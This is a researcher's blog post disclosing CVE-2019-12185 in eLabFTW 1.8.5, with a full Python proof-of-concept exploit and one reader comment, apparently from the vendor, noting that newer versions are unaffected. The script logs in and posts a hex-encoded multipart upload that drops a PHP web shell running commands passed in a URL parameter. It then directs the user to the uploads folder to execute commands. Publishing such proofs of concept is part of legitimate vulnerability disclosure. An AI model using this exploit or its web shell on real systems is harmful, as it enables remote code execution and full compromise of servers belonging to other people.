eLabFTW 1.8.5 ‘EntityController’ Arbitrary File Upload / RCE (CVE-2019-12185)

I was doing some research last night and I discovered a vulnerability in eLabFTW 1.8.5. So I went ahead and coded a proof of concept today. This is of particular concern because this version is installed by default on cpanel with “softaculous”.

Proof of concept:


#!/usr/bin/env python
#
# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
# Date : 5/18/19
# Exploit Author : liquidsky (JMcPeters)
# Vulnerable Software : eLabFTW 1.8.5
# Vendor Homepage : https://www.elabftw.net/
# Version : 1.8.5
# Software Link : https://github.com/elabftw/elabftw
# Tested On : Linux / PHP Version 7.0.33 / Default installation (Softaculous)
# Author Site : http://incidentsecurity.com | https://github.com/fuzzlove/eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE
# CVE : CVE-2019-12185 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12185
#
# Greetz : wetw0rk, offsec ^^
#
# Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads via the /app/controllers/EntityController.php component.
# This may result in remote command execution. An attacker can use a user account to fully compromise the system using a POST request.
# This will allow for PHP files to be written to the web root, and for code to execute on the remote server.
#
# Notes: Once this is done a php shell will drop at https://[target site]/[elabftw directory]/uploads/[random 2 alphanum]/[random long alphanumeric].php5?e=whoami
# You will have to visit the uploads directory on the site to see what the name is. However there is no protection against directory listing.
# So this can be done by an attacker remotely.

import requests
from bs4 import BeautifulSoup as bs4
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import sys
import time

print “+————————————————————-+”
print
print “- eLabFTW 1.8.5 ‘EntityController’ Arbitrary File Upload / RCE”
print
print “- Discovery / PoC by liquidsky (JMcPeters) ^^ ”
print
print “+————————————————————-+”

try:

target = sys.argv[1]
email = sys.argv[2]
password = sys.argv[3]
directory = sys.argv[4]

except IndexError:

print
print “- Usage: %s ” % sys.argv[0]
print “- Example: %s incidentsecurity.com user@email.com mypassword elabftw” % sys.argv[0]
print
sys.exit()

# The payload to send
data = “”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37”
data += “\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39”
data += “\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a”
data += “\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69”
data += “\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61”
data += “\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22”
data += “\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35”
data += “\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36”
data += “\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65”
data += “\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a”
data += “\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d”
data += “\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31”
data += “\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31”
data += “\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f”
data += “\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69”
data += “\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20”
data += “\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a”
data += “\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31”
data += “\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31”
data += “\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f”
data += “\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69”
data += “\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20”
data += “\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69”
data += “\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68”
data += “\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79”
data += “\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e”
data += “\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70”
data += “\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65”
data += “\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20”
data += “\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d”
data += “\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36”
data += “\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31”
data += “\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a”

s = requests.Session()

print “[*] Visiting eLabFTW Site”
r = s.get(‘https://’ + target + ‘/’ + directory + ‘/login.php’,verify=False)
print “[x]”

# Grabbing token
html_bytes = r.text
soup = bs4(html_bytes, ‘lxml’)
token = soup.find(‘input’, {‘name’:’formkey’})[‘value’]

values = {’email’: email,
‘password’: password,
‘formkey’: token,}

time.sleep(2)

print “[*] Logging in to eLabFTW”

r = s.post(‘https://’ + target + ‘/’ + directory + ‘/app/controllers/LoginController.php’, data=values, verify=False)

print “[x] Logged in :)”

time.sleep(2)

sessionId = s.cookies[‘PHPSESSID’]

headers = {
#POST /elabftw/app/controllers/EntityController.php HTTP/1.1
#Host: incidentsecurity.com
“User-Agent”: “Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0”,
“Accept”: “application/json”,
“Accept-Language”: “en-US,en;q=0.5”,
“Accept-Encoding”: “gzip, deflate”,
#Referer: https://incidentsecurity.com
“Cache-Control”: “no-cache”,
“X-Requested-With”: “XMLHttpRequest”,
“Content-Length”: “588”,
“Content-Type”: “multipart/form-data; boundary=—————————72167598110874594111630395077”,
“Connection”: “close”,
“Cookie”: “PHPSESSID=” + sessionId + “;” + “token=” + token
}

print “[*] Sending payload…”
r = s.post(‘https://’ + target + ‘/’ + directory + ‘/app/controllers/EntityController.php’,verify=False, headers=headers, data=data)
print “[x] Payload sent”
print
print “Now check https://%s/%s/uploads” % (target, directory)
print “Your php shell will be there under a random name (.php5)”
print
print “i.e https://[vulnerable site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami”

Demo:

Run the proof of concept:

Navigate to the directory:

Code execution:

https://github.com/fuzzlove/eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE

Author: McPeters Joseph

Joseph McPeters is a Security Researcher. He specializes in network and web application penetration testing. Contact: admin@incidentsecurity.com

2 thoughts on “eLabFTW 1.8.5 ‘EntityController’ Arbitrary File Upload / RCE (CVE-2019-12185)

  1. Hello,

    Newer versions are not affected (uploads directory is out of the webroot anyway), and also softaculous is bad at configuring properly their webserver, or keeping the software updated. Normally .php5 files should not be executed by PHP, and direct uploads folder access should not be accepted neither.

Leave a Reply

Your email address will not be published. Required fields are marked *